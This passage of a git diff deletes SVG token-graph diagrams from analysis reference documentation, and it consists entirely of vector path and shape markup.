-                <path d="M551.7156,4.1045 L551.7156,4.1045 C551.7156,2.5803148 552.951196,1.344719 554.475366,1.344719 L596.325891,1.344719 C597.057824,1.344719 597.75979,1.63547523 598.277368,2.1530381 C598.794946,2.67060097 599.085717,3.3725587 599.085717,4.1044999 L599.085717,48.6636799 C599.085717,50.1878651 597.850122,51.4234609 596.325891,51.4234609 L554.475366,51.4234609 C552.951196,51.4234609 551.7156,50.1878652 551.7156,48.6636799 L551.7156,4.1045 Z" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M551.7156,4.1045 L551.7156,4.1045 C551.7156,2.5803148 552.951196,1.344719 554.475366,1.344719 L596.325891,1.344719 C597.057824,1.344719 597.75979,1.63547523 598.277368,2.1530381 C598.794946,2.67060097 599.085717,3.3725587 599.085717,4.1044999 L599.085717,48.6636799 C599.085717,50.1878651 597.850122,51.4234609 596.325891,51.4234609 L554.475366,51.4234609 C552.951196,51.4234609 551.7156,50.1878652 551.7156,48.6636799 L551.7156,4.1045 Z" id="Path" stroke="#979CAB" stroke-width="2" stroke-linejoin="round"></path>
-                <path d="M570.994,29.77284 L572.634625,29.55409 C572.822125,30.49159 573.139833,31.163465 573.58775,31.569715 C574.046083,31.975965 574.598167,32.17909 575.244,32.17909 C576.014833,32.17909 576.665875,31.913465 577.197125,31.382215 C577.728375,30.850965 577.994,30.1895067 577.994,29.3978324 C577.994,28.64784 577.749208,28.0280458 577.259625,27.5384574 C576.770042,27.0488741 576.145042,26.8040824 575.384625,26.8040824 C575.072125,26.8040824 574.686708,26.8613741 574.228375,26.9759574 L574.415875,25.5384574 C574.520042,25.5488741 574.608583,25.5540824 574.6815,25.5540824 C575.379417,25.5540824 576.004417,25.3717907 576.5565,25.0072074 C577.119,24.6426241 577.40025,24.0853324 577.40025,23.3353324 C577.40025,22.7311657 577.197125,22.2311657 576.790875,21.8353324 C576.384625,21.4394991 575.858583,21.2415824 575.21275,21.2415824 C574.577333,21.2415824 574.046083,21.4447074 573.619,21.8509574 C573.191917,22.2467907 572.921083,22.8457491 572.8065,23.6478324 L571.165875,23.3509574 C571.363792,22.2572074 571.816917,21.4082491 572.52525,20.8040824 C573.233583,20.1999157 574.119,19.8978324 575.1815,19.8978324 C575.910667,19.8978324 576.577333,20.0540824 577.1815,20.3665824 C577.796083,20.6790824 578.264833,21.1061657 578.58775,21.6478324 C578.921083,22.1894991 579.08775,22.7624157 579.08775,23.3665824 C579.08775,23.9394991 578.9315,24.4655407 578.619,24.9447074 C578.3065,25.4134574 577.848167,25.7884574 577.244,26.0697074 C578.035667,26.2572074 578.65025,26.6374157 579.08775,27.2103324 C579.52525,27.7832541 579.744,28.5020067 579.744,29.36659 C579.744,30.52284 579.316917,31.507215 578.46275,32.319715 C577.619,33.132215 576.546083,33.538465 575.244,33.538465 C574.066917,33.538465 573.092958,33.1895067 572.322125,32.49159 C571.551292,31.7936733 571.108583,30.8874233 570.994,29.77284 Z" id="Path" fill="#000000" fill-rule="nonzero"></path>
-                <polygon id="Path" fill="#FFFFFF" points="407.0889 16.85302 426.521975 16.85302 426.521975 38.679795 407.0889 38.679795"></polygon>
-                <polygon id="Path" fill="#FFFFFF" points="543.0889 16.85302 562.521944 16.85302 562.521944 38.679795 543.0889 38.679795"></polygon>
-                <line x1="562.522" y1="27.7664" x2="415.56137" y2="28.2073485" id="Path" fill-opacity="0" fill="#000000"></line>
-                <line x1="544.52203" y1="27.82041" x2="415.56133" y2="28.20735" id="Path" stroke="#00BFB3" stroke-width="3" stroke-linejoin="round"></line>
-                <polygon id="Path" stroke="#00BFB3" stroke-width="3" fill="#00BFB3" points="544.5369 32.77559 558.136265 27.779565 544.507176 22.8652355"></polygon>
-                <polygon id="Path" fill="#FFFFFF" points="75.41746 10.47244 146.3151 10.47244 146.3151 41.842511 75.41746 41.842511"></polygon>
-                <path d="M96.48065,36.7806104 L96.48065,32.046235 C96.23065,32.4108183 95.8764833,32.7129017 95.41815,32.952485 C94.9598167,33.1816517 94.4702333,33.296235 93.9494,33.296235 C92.8035667,33.296235 91.8139833,32.8379017 90.98065,31.921235 C90.1577333,31.0045683 89.746275,29.74936 89.746275,28.15561 C89.746275,27.1764383 89.9129417,26.3014357 90.246275,25.5306024 C90.590025,24.7597691 91.0796083,24.1764357 91.715025,23.7806024 C92.3608583,23.3847691 93.0639833,23.1868524 93.8244,23.1868524 C95.0223167,23.1868524 95.965025,23.6920607 96.652525,24.7024774 L96.652525,23.4056024 L98.121275,23.4056024 L98.121275,36.7806104 L96.48065,36.7806104 L96.48065,36.7806104 Z M91.433775,28.21811 C91.433775,29.4576933 91.6941917,30.389985 92.215025,31.014985 C92.7358583,31.639985 93.3608583,31.952485 94.090025,31.952485 C94.7879417,31.952485 95.3869,31.65561 95.8869,31.06186 C96.3973167,30.46811 96.652525,29.5670683 96.652525,28.358735 C96.652525,27.0670633 96.3869,26.0983107 95.85565,25.4524774 C95.3244,24.8066441 94.6994,24.4837274 93.98065,24.4837274 C93.2723167,24.4837274 92.66815,24.7858107 92.16815,25.3899774 C91.6785667,25.9941441 91.433775,26.9368549 91.433775,28.21811 Z M107.028242,33.077485 L107.028242,31.65561 C106.278242,32.74936 105.257409,33.296235 103.965742,33.296235 C103.392825,33.296235 102.856367,33.18686 102.356367,32.96811 C101.866784,32.74936 101.5022,32.4733183 101.262617,32.139985 C101.023034,31.8066517 100.856367,31.4004017 100.762617,30.921235 C100.6897,30.608735 100.653242,30.0983183 100.653242,29.389985 L100.653242,23.4056024 L102.293867,23.4056024 L102.293867,28.764985 C102.293867,29.6191517 102.330325,30.1972767 102.403242,30.49936 C102.507409,30.9264433 102.726159,31.264985 103.059492,31.514985 C103.392825,31.764985 103.804284,31.889985 104.293867,31.889985 C104.78345,31.889985 105.241784,31.764985 105.668867,31.514985 C106.106367,31.2545683 106.413659,30.9108183 106.590742,30.483735 C106.767825,30.046235 106.856367,29.4160267 106.856367,28.59311 L106.856367,23.4056024 L108.496992,23.4056024 L108.496992,33.0774854 L107.028242,33.0774854 L107.028242,33.077485 Z M111.075834,21.608727 L111.075834,19.718102 L112.716459,19.718102 L112.716459,21.608727 L111.075834,21.608727 Z M111.075834,33.077485 L111.075834,23.405602 L112.716459,23.405602 L112.716459,33.077485 L111.075834,33.077485 Z M121.533155,29.53061 L123.14253,29.74936 C122.965447,30.8535267 122.512322,31.7233183 121.783155,32.358735 C121.064405,32.983735 120.17378,33.296235 119.11128,33.296235 C117.788363,33.296235 116.725863,32.8639433 115.92378,31.99936 C115.121697,31.1347767 114.720655,29.8951933 114.720655,28.28061 C114.720655,27.2285216 114.89253,26.3118524 115.23628,25.5306024 C115.58003,24.7493524 116.106072,24.1660191 116.814405,23.7806024 C117.522738,23.3847691 118.293572,23.1868524 119.126905,23.1868524 C120.178988,23.1868524 121.038363,23.4524774 121.70503,23.9837274 C122.371697,24.5149774 122.79878,25.2701857 122.98628,26.2493524 L121.39253,26.4837274 C121.23628,25.8378941 120.965447,25.3535191 120.58003,25.0306024 C120.194613,24.6972691 119.731072,24.5306024 119.189405,24.5306024 C118.366488,24.5306024 117.694613,24.8274774 117.17378,25.4212274 C116.652947,26.0149774 116.39253,26.9524799 116.39253,28.233735 C116.39253,29.5358183 116.64253,30.483735 117.14253,31.077485 C117.64253,31.6608183 118.293572,31.952485 119.095655,31.952485 C119.741488,31.952485 120.277947,31.7545683 120.70503,31.358735 C121.14253,30.9629017 121.418572,30.3535267 121.533155,29.53061 Z M124.54878,33.077485 L124.54878,19.718102 L126.189405,19.718102 L126.189405,27.343102 L130.08003,23.405602 L132.189405,23.405602 L128.501905,26.999352 L132.564405,33.077485 L130.54878,33.077485 L127.345655,28.1243596 L126.189405,29.2493596 L126.189405,33.077485 L124.54878,33.077485 L124.54878,33.077485 Z" id="Shape" fill="#000000" fill-rule="nonzero"></path>
-                <polygon id="Path" fill="#FFFFFF" points="261.4882 10.47244 332.385844 10.47244 332.385844 41.842511 261.4882 41.842511"></polygon>
-                <path d="M274.26498,33.07748 L272.749355,33.07748 L272.749355,19.718097 L274.38998,19.718097 L274.38998,24.483722 C275.087897,23.6191387 275.973313,23.186847 277.04623,23.186847 C277.63998,23.186847 278.20248,23.3066387 278.73373,23.546222 C279.26498,23.7858053 279.70248,24.124347 280.04623,24.561847 C280.38998,24.9889303 280.655605,25.5097637 280.843105,26.124347 C281.041022,26.7389303 281.13998,27.3951829 281.13998,28.0931046 C281.13998,29.7493546 280.728522,31.0306046 279.905605,31.9368546 C279.093105,32.8431046 278.10873,33.2962296 276.95248,33.2962296 C275.817063,33.2962296 274.92123,32.8170629 274.26498,31.8587296 L274.26498,33.0774796 L274.26498,33.07748 Z M274.249355,28.17123 C274.249355,29.32748 274.410813,30.1660217 274.73373,30.686855 C275.244147,31.5305974 275.942063,31.95248 276.82748,31.95248 C277.54623,31.95248 278.166022,31.63998 278.686855,31.01498 C279.207688,30.38998 279.468105,29.4628967 279.468105,28.23373 C279.468105,26.9733083 279.218105,26.0410141 278.718105,25.4368474 C278.218105,24.8326807 277.60873,24.5305974 276.88998,24.5305974 C276.181647,24.5305974 275.561855,24.8430974 275.030605,25.4680974 C274.509772,26.0930974 274.249355,26.9941416 274.249355,28.17123 Z M283.125087,33.07748 L283.125087,23.405597 L284.593837,23.405597 L284.593837,24.874347 C284.968837,24.186847 285.312587,23.733722 285.625087,23.514972 C285.948004,23.296222 286.30217,23.186847 286.687587,23.186847 C287.23967,23.186847 287.80217,23.3639303 288.375087,23.718097 L287.812587,25.233722 C287.406337,24.9941387 287.005295,24.874347 286.609462,24.874347 C286.244879,24.874347 285.921962,24.983722 285.640712,25.202472 C285.359462,25.421222 285.156337,25.718097 285.031337,26.093097 C284.843837,26.6764303 284.750087,27.3170579 284.750087,28.0149796 L284.750087,33.07748 L283.125087,33.07748 L283.125087,33.07748 Z M288.744014,28.23373 C288.744014,26.4420583 289.238806,25.1191391 290.228389,24.2649724 C291.061722,23.5462224 292.077347,23.1868474 293.275264,23.1868474 C294.608597,23.1868474 295.697139,23.6243474 296.540889,24.4993474 C297.384639,25.3639307 297.806514,26.5670583 297.806514,28.10873 C297.806514,29.3483133 297.619014,30.32748 297.244014,31.04623 C296.869014,31.7545633 296.322139,32.3066467 295.603389,32.70248 C294.895056,33.0983133 294.119014,33.29623 293.275264,33.29623 C291.921097,33.29623 290.827347,32.8639383 289.994014,31.999355 C289.160681,31.124355 288.744014,29.8691467 288.744014,28.23373 Z M290.431514,28.23373 C290.431514,29.4733133 290.697139,30.405605 291.228389,31.030605 C291.770056,31.6451883 292.452347,31.95248 293.275264,31.95248 C294.087764,31.95248 294.764847,31.6451883 295.306514,31.030605 C295.848181,30.405605 296.119014,29.4576883 296.119014,28.186855 C296.119014,26.9889333 295.848181,26.0826807 295.306514,25.4680974 C294.764847,24.8535141 294.087764,24.5462224 293.275264,24.5462224 C292.452347,24.5462224 291.770056,24.8535141 291.228389,25.4680974 C290.697139,26.0722641 290.431514,26.9941416 290.431514,28.23373 Z M301.510341,33.07748 L298.541591,23.405597 L300.244716,23.405597 L301.775966,28.9837296 L302.354091,31.0618546 C302.385341,30.9576879 302.552008,30.2910213 302.854091,29.0618546 L304.400966,23.405597 L306.088466,23.405597 L307.525966,29.0149796 L308.010341,30.8587296 L308.572841,28.9993546 L310.229091,23.405597 L311.822841,23.405597 L308.791591,33.07748 L307.088466,33.07748 L305.557216,27.2805974 L305.182216,25.6399724 L303.229091,33.07748 L301.510341,33.07748 Z M313.202052,33.07748 L313.202052,23.405597 L314.670802,23.405597 L314.670802,24.780597 C315.379135,23.718097 316.405177,23.186847 317.748927,23.186847 C318.33226,23.186847 318.868719,23.2910137 319.358302,23.499347 C319.847885,23.7076803 320.212469,23.983722 320.452052,24.327472 C320.702052,24.6608053 320.873927,25.061847 320.967677,25.530597 C321.030177,25.8326803 321.061427,26.3639303 321.061427,27.124347 L321.061427,33.07748 L319.420802,33.07748 L319.420802,27.186847 C319.420802,26.5201803 319.353094,26.0253887 319.217677,25.702472 C319.092677,25.3691387 318.868719,25.1035137 318.545802,24.905597 C318.222885,24.7076803 317.842677,24.608722 317.405177,24.608722 C316.70726,24.608722 316.103094,24.8326803 315.592677,25.280597 C315.092677,25.718097 314.842677,26.5566387 314.842677,27.796222 L314.842677,33.07748 L313.202052,33.07748 L313.202052,33.07748 Z" id="Shape" fill="#000000" fill-rule="nonzero"></path>
-                <polygon id="Path" fill="#FFFFFF" points="454.6824 10.47244 502.052487 10.47244 502.052487 41.842511 454.6824 41.842511"></polygon>
-                <path d="M467.5489,33.07748 L467.5489,24.671222 L466.095775,24.671222 L466.095775,23.405597 L467.5489,23.405597 L467.5489,22.374347 C467.5489,21.7285137 467.606192,21.2441387 467.720775,20.921222 C467.877025,20.4941387 468.153067,20.1503887 468.5489,19.889972 C468.944733,19.6295553 469.502025,19.499347 470.220775,19.499347 C470.679108,19.499347 471.189525,19.5514303 471.752025,19.655597 L471.502025,21.093097 C471.168692,21.030597 470.850983,20.999347 470.5489,20.999347 C470.0489,20.999347 469.694733,21.108722 469.4864,21.327472 C469.278067,21.5358053 469.1739,21.9316387 469.1739,22.514972 L469.1739,23.405597 L471.064525,23.405597 L471.064525,24.671222 L469.1739,24.671222 L469.1739,33.07748 L467.5489,33.07748 Z M471.732189,28.23373 C471.732189,26.4420583 472.22698,25.1191391 473.216564,24.2649724 C474.049897,23.5462224 475.065522,23.1868474 476.263439,23.1868474 C477.596772,23.1868474 478.685314,23.6243474 479.529064,24.4993474 C480.372814,25.3639307 480.794689,26.5670583 480.794689,28.10873 C480.794689,29.3483133 480.607189,30.32748 480.232189,31.04623 C479.857189,31.7545633 479.310314,32.3066467 478.591564,32.70248 C477.88323,33.0983133 477.107189,33.29623 476.263439,33.29623 C474.909272,33.29623 473.815522,32.8639383 472.982189,31.999355 C472.148855,31.124355 471.732189,29.8691467 471.732189,28.23373 Z M473.419689,28.23373 C473.419689,29.4733133 473.685314,30.405605 474.216564,31.030605 C474.75823,31.6451883 475.440522,31.95248 476.263439,31.95248 C477.075939,31.95248 477.753022,31.6451883 478.294689,31.030605 C478.836355,30.405605 479.107189,29.4576883 479.107189,28.186855 C479.107189,26.9889333 478.836355,26.0826807 478.294689,25.4680974 C477.753022,24.8535141 477.075939,24.5462224 476.263439,24.5462224 C475.440522,24.5462224 474.75823,24.8535141 474.216564,25.4680974 C473.685314,26.0722641 473.419689,26.9941416 473.419689,28.23373 Z M481.623546,33.07748 L485.154796,28.04623 L481.889171,23.4055974 L483.936046,23.4055974 L485.420421,25.6712224 C485.701671,26.0983057 485.925629,26.4576807 486.092296,26.7493474 C486.363129,26.3535141 486.607921,25.9993474 486.826671,25.6868474 L488.467296,23.4055974 L490.420421,23.4055974 L487.076671,27.9524724 L490.670421,33.07748 L488.654796,33.07748 L486.670421,30.07748 L486.154796,29.26498 L483.607921,33.07748 L481.623546,33.07748 Z" id="Shape" fill="#000000" fill-rule="nonzero"></path>
-                <polygon id="Path" fill="#FFFFFF" points="15.088913 39.14516 34.52198 39.14516 34.52198 60.971927 15.088913 60.971927"></polygon>
-                <polygon id="Path" fill="#FFFFFF" points="199.08891 39.14516 218.52197 39.14516 218.52197 60.971927 199.08891 60.971927"></polygon>
-                <polyline id="Path" fill-opacity="0" fill="#000000" points="208.80545 39.14516 208.80545 107.61417 24.80545 107.61417 24.80545 39.20815"></polyline>
-                <polyline id="Path" stroke="#00BFB3" stroke-width="3" stroke-linejoin="round" points="208.80545 57.14516 208.80545 107.61417 24.80545 107.61417 24.80545 39.20815"></polyline>
-                <polygon id="Path" stroke="#00BFB3" stroke-width="3" fill="#00BFB3" points="213.76065 57.14516 208.80545 43.530872 203.85025 57.14516"></polygon>
-                <polygon id="Path" fill="#FFFFFF" points="83.77165 90.47244 137.976377 90.47244 137.976377 121.842511 83.77165 121.842511"></polygon>
-                <path d="M97.46379,113.07748 L97.46379,104.67123 L96.010665,104.67123 L96.010665,103.405605 L97.46379,103.405605 L97.46379,102.374355 C97.46379,101.728522 97.5210817,101.244147 97.635665,100.92123 C97.791915,100.494147 98.0679567,100.150397 98.46379,99.88998 C98.8596233,99.6295633 99.416915,99.499355 100.135665,99.499355 C100.593998,99.499355 101.104415,99.5514383 101.666915,99.655605 L101.416915,101.093105 C101.083582,101.030605 100.765873,100.999355 100.46379,100.999355 C99.96379,100.999355 99.6096233,101.10873 99.40129,101.32748 C99.1929567,101.535813 99.08879,101.931647 99.08879,102.51498 L99.08879,103.405605 L100.979415,103.405605 L100.979415,104.67123 L99.08879,104.67123 L99.08879,113.07748 L97.46379,113.07748 Z M108.568969,111.88998 C107.954386,112.400397 107.365844,112.76498 106.803344,112.98373 C106.251261,113.192063 105.652302,113.29623 105.006469,113.29623 C103.943969,113.29623 103.126261,113.035813 102.553344,112.51498 C101.980427,111.994147 101.693969,111.332688 101.693969,110.530605 C101.693969,110.051438 101.803344,109.619147 102.022094,109.23373 C102.240844,108.837897 102.522094,108.525397 102.865844,108.29623 C103.220011,108.056647 103.615844,107.874355 104.053344,107.749355 C104.365844,107.666022 104.850219,107.582688 105.506469,107.499355 C106.829386,107.343105 107.803344,107.155605 108.428344,106.936855 C108.438761,106.707688 108.443969,106.567063 108.443969,106.51498 C108.443969,105.848313 108.287719,105.374355 107.975219,105.093105 C107.558552,104.728522 106.933552,104.54623 106.100219,104.54623 C105.329386,104.54623 104.761677,104.681647 104.397094,104.95248 C104.032511,105.223313 103.761677,105.697272 103.584594,106.374355 L101.975219,106.155605 C102.121052,105.478522 102.360636,104.931647 102.693969,104.51498 C103.027302,104.087897 103.511677,103.759772 104.147094,103.530605 C104.782511,103.301438 105.511677,103.186855 106.334594,103.186855 C107.167927,103.186855 107.839802,103.285813 108.350219,103.48373 C108.871052,103.67123 109.251261,103.916022 109.490844,104.218105 C109.740844,104.509772 109.912719,104.879563 110.006469,105.32748 C110.058552,105.60873 110.084594,106.113938 110.084594,106.843105 L110.084594,109.030605 C110.084594,110.551438 110.121052,111.51498 110.193969,111.92123 C110.266886,112.317063 110.402302,112.70248 110.600219,113.07748 L108.897094,113.07748 C108.720011,112.73373 108.610636,112.337897 108.568969,111.88998 Z M108.428344,108.218105 C107.834594,108.468105 106.943969,108.676438 105.756469,108.843105 C105.079386,108.936855 104.600219,109.04623 104.318969,109.17123 C104.037719,109.29623 103.818969,109.473313 103.662719,109.70248 C103.516886,109.931647 103.443969,110.192063 103.443969,110.48373 C103.443969,110.92123 103.610636,111.285813 103.943969,111.57748 C104.277302,111.869147 104.761677,112.01498 105.397094,112.01498 C106.022094,112.01498 106.579386,111.879563 107.068969,111.60873 C107.568969,111.32748 107.933552,110.947272 108.162719,110.468105 C108.339802,110.093105 108.428344,109.54623 108.428344,108.82748 L108.428344,108.218105 Z M111.975936,110.186855 L113.600936,109.936855 C113.68427,110.582688 113.93427,111.082688 114.350936,111.436855 C114.767603,111.780605 115.350936,111.95248 116.100936,111.95248 C116.850936,111.95248 117.408228,111.801438 117.772811,111.499355 C118.137395,111.186855 118.319686,110.822272 118.319686,110.405605 C118.319686,110.041022 118.158228,109.749355 117.835311,109.530605 C117.616561,109.384772 117.05927,109.20248 116.163436,108.98373 C114.955103,108.67123 114.116561,108.405605 113.647811,108.186855 C113.189478,107.968105 112.84052,107.666022 112.600936,107.280605 C112.361353,106.884772 112.241561,106.447272 112.241561,105.968105 C112.241561,105.541022 112.34052,105.145188 112.538436,104.780605 C112.736353,104.405605 113.007186,104.098313 113.350936,103.85873 C113.600936,103.67123 113.944686,103.51498 114.382186,103.38998 C114.830103,103.254563 115.304061,103.186855 115.804061,103.186855 C116.564478,103.186855 117.231145,103.29623 117.804061,103.51498 C118.376978,103.73373 118.798853,104.030605 119.069686,104.405605 C119.350936,104.780605 119.543645,105.280605 119.647811,105.905605 L118.038436,106.124355 C117.96552,105.624355 117.751978,105.23373 117.397811,104.95248 C117.054061,104.67123 116.564478,104.530605 115.929061,104.530605 C115.168645,104.530605 114.626978,104.655605 114.304061,104.905605 C113.991561,105.155605 113.835311,105.447272 113.835311,105.780605 C113.835311,105.988938 113.897811,106.181647 114.022811,106.35873 C114.158228,106.535813 114.37177,106.681647 114.663436,106.79623 C114.819686,106.85873 115.298853,106.999355 116.100936,107.218105 C117.267603,107.520188 118.080103,107.770188 118.538436,107.968105 C118.99677,108.166022 119.356145,108.45248 119.616561,108.82748 C119.876978,109.20248 120.007186,109.67123 120.007186,110.23373 C120.007186,110.785813 119.845728,111.301438 119.522811,111.780605 C119.210311,112.259772 118.751978,112.634772 118.147811,112.905605 C117.543645,113.166022 116.861353,113.29623 116.100936,113.29623 C114.850936,113.29623 113.892603,113.035813 113.225936,112.51498 C112.569686,111.994147 112.15302,111.218105 111.975936,110.186855 Z M125.538436,111.60873 L125.772811,113.061855 C125.314478,113.155605 124.90302,113.20248 124.538436,113.20248 C123.944686,113.20248 123.481145,113.10873 123.147811,112.92123 C122.824895,112.73373 122.595728,112.488938 122.460311,112.186855 C122.324895,111.874355 122.257186,111.228522 122.257186,110.249355 L122.257186,104.67123 L121.054061,104.67123 L121.054061,103.405605 L122.257186,103.405605 L122.257186,101.01498 L123.882186,100.030605 L123.882186,103.405605 L125.538436,103.405605 L125.538436,104.67123 L123.882186,104.67123 L123.882186,110.343105 C123.882186,110.801438 123.908228,111.098313 123.960311,111.23373 C124.022811,111.369147 124.116561,111.478522 124.241561,111.561855 C124.376978,111.634772 124.569686,111.67123 124.819686,111.67123 C124.99677,111.67123 125.236353,111.650397 125.538436,111.60873 Z" id="Shape" fill="#000000" fill-rule="nonzero"></path>
-            </g>
-        </g>
-    </g>
-</svg>
\ No newline at end of file
diff --git a/docs/reference/images/analysis/token-graph-wd.svg b/docs/reference/images/analysis/token-graph-wd.svg
deleted file mode 100644
index cdbbfb8a084..00000000000
--- a/docs/reference/images/analysis/token-graph-wd.svg
+++ /dev/null
@@ -1,52 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<svg width="602px" height="123px" viewBox="0 0 602 123" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
-    <!-- Generator: Sketch 60.1 (88133) - https://sketch.com -->
-    <title>Slice 1</title>
-    <desc>Created with Sketch.</desc>
-    <g id="Page-1" stroke="none" stroke-width="1" fill="none" fill-rule="evenodd">
-        <g id="Analysis-(1)" transform="translate(1.000000, 1.000000)">
-            <g id="Group">
-                <path d="M0.209972,1.39317 L0.209972,1.39317 C0.209972,0.6962172 0.774963,0.13123 1.471912,0.13123 L46.318115,0.13123 C46.6528013,0.13123 46.9737775,0.26418746 47.2104414,0.50084365 C47.4470975,0.73749984 47.580055,1.05848375 47.580055,1.39317 L47.580055,48.948025 C47.580055,49.6449855 47.0150602,50.2099726 46.318115,50.2099726 L1.471912,50.2099726 C0.774963,50.2099726 0.209972,49.6449854 0.209972,48.948025 L0.209972,1.39317 Z" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M0.209972,1.39317 L0.209972,1.39317 C0.209972,0.6962172 0.774963,0.13123 1.471912,0.13123 L46.318115,0.13123 C46.6528013,0.13123 46.9737775,0.26418746 47.2104414,0.50084365 C47.4470975,0.73749984 47.580055,1.05848375 47.580055,1.39317 L47.580055,48.948025 C47.580055,49.6449855 47.0150602,50.2099726 46.318115,50.2099726 L1.471912,50.2099726 C0.774963,50.2099726 0.209972,49.6449854 0.209972,48.948025 L0.209972,1.39317 Z" id="Path" stroke="#979CAB" stroke-width="2" stroke-linejoin="round"></path>
-                <path d="M19.488403,25.49685 C19.488403,23.9239333 19.6498613,22.6583083 19.972778,21.699975 C20.2956947,20.731225 20.7748613,19.9864333 21.410278,19.4656 C22.0561113,18.9447667 22.863403,18.68435 23.832153,18.68435 C24.550903,18.68435 25.1811113,18.8301833 25.722778,19.12185 C26.2644447,19.4031 26.707153,19.8197667 27.050903,20.37185 C27.4050697,20.9135167 27.6811113,21.574975 27.879028,22.356225 C28.0873613,23.1270583 28.191528,24.1739333 28.191528,25.49685 C28.191528,27.0697667 28.0300697,28.3406025 27.707153,29.3093576 C27.3842363,30.2676909 26.8998613,31.0124826 26.254028,31.5437326 C25.6186113,32.0645659 24.8113197,32.3249826 23.832153,32.3249826 C22.550903,32.3249826 21.5404863,31.8614409 20.800903,30.9343576 C19.925903,29.8197743 19.488403,28.0072717 19.488403,25.49685 L19.488403,25.49685 Z M21.160278,25.49685 C21.160278,27.6947717 21.4154863,29.1583159 21.925903,29.8874826 C22.4467363,30.6062326 23.082153,30.9656076 23.832153,30.9656076 C24.5925697,30.9656076 25.2279863,30.6010243 25.738403,29.8718576 C26.2488197,29.1426909 26.504028,27.6843551 26.504028,25.49685 C26.504028,23.2989333 26.2488197,21.8406 25.738403,21.12185 C25.2279863,20.4031 24.5873613,20.043725 23.816528,20.043725 C23.066528,20.043725 22.4675697,20.3614333 22.019653,20.99685 C21.4467363,21.80935 21.160278,23.30935 21.160278,25.49685 L21.160278,25.49685 Z" id="Shape" fill="#000000" fill-rule="nonzero"></path>
-                <path d="M183.71559,4.1045 L183.71559,4.1045 C183.71559,2.5803148 184.951186,1.344719 186.475371,1.344719 L228.325896,1.344719 C229.05783,1.344719 229.759795,1.63547523 230.277342,2.1530381 C230.794921,2.67060097 231.085662,3.3725587 231.085662,4.1044999 L231.085662,48.6636799 C231.085662,50.1878651 229.850066,51.4234609 228.325896,51.4234609 L186.475371,51.4234609 C184.951186,51.4234609 183.71559,50.1878652 183.71559,48.6636799 L183.71559,4.1045 Z" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M183.71559,4.1045 L183.71559,4.1045 C183.71559,2.5803148 184.951186,1.344719 186.475371,1.344719 L228.325896,1.344719 C229.05783,1.344719 229.759795,1.63547523 230.277342,2.1530381 C230.794921,2.67060097 231.085662,3.3725587 231.085662,4.1044999 L231.085662,48.6636799 C231.085662,50.1878651 229.850066,51.4234609 228.325896,51.4234609 L186.475371,51.4234609 C184.951186,51.4234609 183.71559,50.1878652 183.71559,48.6636799 L183.71559,4.1045 Z" id="Path" stroke="#979CAB" stroke-width="2" stroke-linejoin="round"></path>
-                <path d="M209.1659,33.3041 L207.525275,33.3041 L207.525275,22.850967 C207.129442,23.225967 206.608608,23.6061753 205.962775,23.991592 C205.327358,24.366592 204.754442,24.647842 204.244025,24.835342 L204.244025,23.241592 C205.160692,22.8145087 205.962775,22.2936753 206.650275,21.679092 C207.337775,21.0645087 207.82215,20.4707587 208.1034,19.897842 L209.1659,19.897842 L209.1659,33.3041 Z" id="Path" fill="#000000" fill-rule="nonzero"></path>
-                <polygon id="Path" fill="#FFFFFF" points="39.08891 16.85302 58.521977 16.85302 58.521977 38.679795 39.08891 38.679795"></polygon>
-                <polygon id="Path" fill="#FFFFFF" points="175.08891 16.85302 194.521985 16.85302 194.521985 38.679795 175.08891 38.679795"></polygon>
-                <line x1="194.52199" y1="27.7664" x2="47.56136" y2="28.2073485" id="Path" fill-opacity="0" fill="#000000"></line>
-                <line x1="176.52206" y1="27.82041" x2="47.56134" y2="28.20735" id="Path" stroke="#00BFB3" stroke-width="3" stroke-linejoin="round"></line>
-                <polygon id="Path" stroke="#00BFB3" stroke-width="3" fill="#00BFB3" points="176.53693 32.77559 190.136295 27.779565 176.507206 22.8652355"></polygon>
-                <path d="M367.71558,4.1045 L367.71558,4.1045 C367.71558,2.5803148 368.951206,1.344719 370.475376,1.344719 L412.325901,1.344719 C413.057835,1.344719 413.7598,1.63547523 414.277348,2.1530381 C414.794926,2.67060097 415.085667,3.3725587 415.085667,4.1044999 L415.085667,48.6636799 C415.085667,50.1878651 413.850071,51.4234609 412.325901,51.4234609 L370.475376,51.4234609 C368.951206,51.4234609 367.71558,50.1878652 367.71558,48.6636799 L367.71558,4.1045 Z" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M367.71558,4.1045 L367.71558,4.1045 C367.71558,2.5803148 368.951206,1.344719 370.475376,1.344719 L412.325901,1.344719 C413.057835,1.344719 413.7598,1.63547523 414.277348,2.1530381 C414.794926,2.67060097 415.085667,3.3725587 415.085667,4.1044999 L415.085667,48.6636799 C415.085667,50.1878651 413.850071,51.4234609 412.325901,51.4234609 L370.475376,51.4234609 C368.951206,51.4234609 367.71558,50.1878652 367.71558,48.6636799 L367.71558,4.1045 Z" id="Path" stroke="#979CAB" stroke-width="2" stroke-linejoin="round"></path>
-                <path d="M395.6034,31.72597 L395.6034,33.304095 L386.775275,33.304095 C386.764858,32.9082617 386.827358,32.5280533 386.962775,32.16347 C387.191942,31.5593033 387.551317,30.9655533 388.0409,30.38222 C388.5409,29.7988867 389.25965,29.1270117 390.19715,28.366595 C391.645067,27.1790899 392.624233,26.2363791 393.13465,25.5384624 C393.645067,24.8405457 393.900275,24.1842957 393.900275,23.5697124 C393.900275,22.9134624 393.6659,22.3665874 393.19715,21.9290874 C392.738817,21.4811707 392.13465,21.2572124 391.38465,21.2572124 C390.592983,21.2572124 389.957567,21.4967957 389.4784,21.9759624 C389.00965,22.4447124 388.775275,23.0957541 388.775275,23.9290874 L387.087775,23.7572124 C387.202358,22.4967957 387.63465,21.5384624 388.38465,20.8822124 C389.145067,20.2259624 390.155483,19.8978374 391.4159,19.8978374 C392.69715,19.8978374 393.712775,20.2520041 394.462775,20.9603374 C395.212775,21.6686707 395.587775,22.5488791 395.587775,23.6009624 C395.587775,24.1322124 395.4784,24.6582541 395.25965,25.1790874 C395.0409,25.6999207 394.676317,26.2467957 394.1659,26.8197124 C393.6659,27.3822124 392.82215,28.1634649 391.63465,29.16347 C390.655483,29.9863867 390.025275,30.5488867 389.744025,30.85097 C389.462775,31.1426367 389.233608,31.4343033 389.056525,31.72597 L395.6034,31.72597 Z" id="Path" fill="#000000" 